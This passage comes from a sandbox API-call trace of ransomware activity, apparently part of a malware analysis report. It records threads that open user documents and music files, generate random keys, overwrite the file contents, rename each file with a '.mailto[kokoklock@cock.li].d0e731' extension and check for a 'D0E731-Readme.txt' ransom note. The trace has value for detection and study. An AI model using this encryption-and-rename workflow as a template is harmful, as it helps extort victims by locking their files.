(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.793] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x7fc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.793] WriteFile (in: hFile=0x69c, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a43f970, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a43f970*=0x20, lpOverlapped=0x0) returned 1 [0083.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.793] WriteFile (in: hFile=0x69c, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a43f984*=0x8, lpOverlapped=0x0) returned 1 [0083.794] WriteFile (in: hFile=0x69c, lpBuffer=0x2a43f99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x2a43f99c*, lpNumberOfBytesWritten=0x2a43f984*=0x4, lpOverlapped=0x0) returned 1 [0083.794] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a43f984*=0x4, lpOverlapped=0x0) returned 1 [0083.794] WriteFile (in: hFile=0x69c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a43f984*=0x6c, lpOverlapped=0x0) returned 1 [0083.794] WriteFile (in: hFile=0x69c, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a43f984*=0x20, lpOverlapped=0x0) returned 1 [0083.794] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a43f984*=0x4, lpOverlapped=0x0) returned 1 [0083.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.794] CloseHandle (hObject=0x69c) returned 1 [0084.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x34832b8 [0084.937] wcscpy (in: _Dest=0x34832b8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" [0084.937] wcscat (in: _Dest=0x34832b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" [0084.937] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.938] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34832b8) returned 1 [0084.938] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf", dwFileAttributes=0x20) returned 0 [0084.938] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34311c0 [0084.938] wcscpy (in: _Dest=0x34311c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0084.938] wcscat (in: _Dest=0x34311c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0084.939] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0084.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311c0) returned 1 [0084.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428cb8) returned 1 [0084.939] RtlExitUserThread (Status=0x1) Thread: id = 1200 os_tid = 0xd84 [0083.795] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a")) returned 0x20 [0083.796] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a", dwFileAttributes=0x20) returned 1 [0083.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0083.796] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x2a4bfc6c | out: lpFileSize=0x2a4bfc6c*=21986) returned 1 [0083.796] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x55de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.796] ReadFile (in: hFile=0x69c, lpBuffer=0x2a4bfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x2a4bfc40*, lpNumberOfBytesRead=0x2a4bfc3c*=0x4, lpOverlapped=0x0) returned 1 [0083.797] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.797] NtQuerySystemTime (in: CurrentTime=0x2a4bfc18 | out: CurrentTime=0x2a4bfc18*=132121176416956032) returned 0x0 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x519ceed1 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x5518b2e2 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xc408983f [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x9d2f8e36 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xd53a6f96 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x4fefe9aa [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x9493938a [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x91390612 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x87fd2dc0 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x545b5127 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x2a3c4dbc [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xfa56fdfa [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x404893b2 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x6b67e3fc [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xbdc22102 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xead8db9b [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x8e1b1c33 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xd857c584 [0083.797] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xc3a3b54f [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x342c6a72 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x7f55fee9 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x440a1bdc [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x52cba4e [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xa244f383 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x3fb70e8d [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xd66f9834 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xc453d612 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xccc4459d [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x7d26d211 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x91552fb7 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0x49bc3902 [0083.798] RtlRandom (in: Seed=0x2a4bfc24 | out: Seed=0x2a4bfc24) returned 0xdff421c [0083.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.808] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.808] ReadFile (in: hFile=0x69c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a4bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a4bfbf0*=0x4096, lpOverlapped=0x0) returned 1 [0083.809] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.809] WriteFile (in: hFile=0x69c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a4bfbf0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a4bfbf0*=0x4096, lpOverlapped=0x0) returned 1 [0083.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.810] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x55e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.810] WriteFile (in: hFile=0x69c, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a4bfc28, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a4bfc28*=0x20, lpOverlapped=0x0) returned 1 [0083.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.810] WriteFile (in: hFile=0x69c, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x8, lpOverlapped=0x0) returned 1 [0083.810] WriteFile (in: hFile=0x69c, lpBuffer=0x2a4bfc54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x2a4bfc54*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x4, lpOverlapped=0x0) returned 1 [0083.810] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x4, lpOverlapped=0x0) returned 1 [0083.810] WriteFile (in: hFile=0x69c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x6c, lpOverlapped=0x0) returned 1 [0083.811] WriteFile (in: hFile=0x69c, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x20, lpOverlapped=0x0) returned 1 [0083.811] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a4bfc3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a4bfc3c*=0x4, lpOverlapped=0x0) returned 1 [0083.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5f0) returned 1 [0083.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.811] CloseHandle (hObject=0x69c) returned 1 [0083.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x33e8fd0 [0083.811] wcscpy (in: _Dest=0x33e8fd0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" [0083.811] wcscat (in: _Dest=0x33e8fd0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" [0083.811] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.443] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8fd0) returned 1 [0088.443] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a", dwFileAttributes=0x20) returned 0 [0088.443] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431700 [0088.443] wcscpy (in: _Dest=0x3431700, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.443] wcscat (in: _Dest=0x3431700, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.443] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0088.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431700) returned 1 [0088.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0088.444] RtlExitUserThread (Status=0x1) Thread: id = 1201 os_tid = 0xf74 [0083.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3")) returned 0x20 [0083.812] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3", dwFileAttributes=0x20) returned 1 [0083.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0083.812] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2a53f79c | out: lpFileSize=0x2a53f79c*=73144) returned 1 [0083.812] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x11db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.813] ReadFile (in: hFile=0x690, lpBuffer=0x2a53f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x2a53f770*, lpNumberOfBytesRead=0x2a53f76c*=0x4, lpOverlapped=0x0) returned 1 [0083.813] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5f0 [0083.813] NtQuerySystemTime (in: CurrentTime=0x2a53f748 | out: CurrentTime=0x2a53f748*=132121176417110655) returned 0x0 [0083.813] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xd2b3b89 [0083.813] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xd43e1b1f [0083.813] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x5c4e7afc [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x84ac0173 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x714ba819 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x46bfd7b1 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xcf6a3662 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x27205ca3 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x8e7f7be0 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x258af5f8 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xcc701129 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xbab36bb5 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x5a111c86 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x12652c43 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xb07f979c [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x81441da8 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xc305cfef [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xfaeef929 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x6a7ef4ed [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xa4b693a8 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x8bd7f980 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x119f588a [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xb74912c2 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xba27742 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x4f790921 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x1efbe08e [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x45989fad [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x7f19069a [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xc82bd294 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0xce55c739 [0083.814] RtlRandom (in: Seed=0x2a53f754 | out: Seed=0x2a53f754) returned 0x45a40e34 [0083.814] RtlRandom (in: Seed=0x2a53f754 | 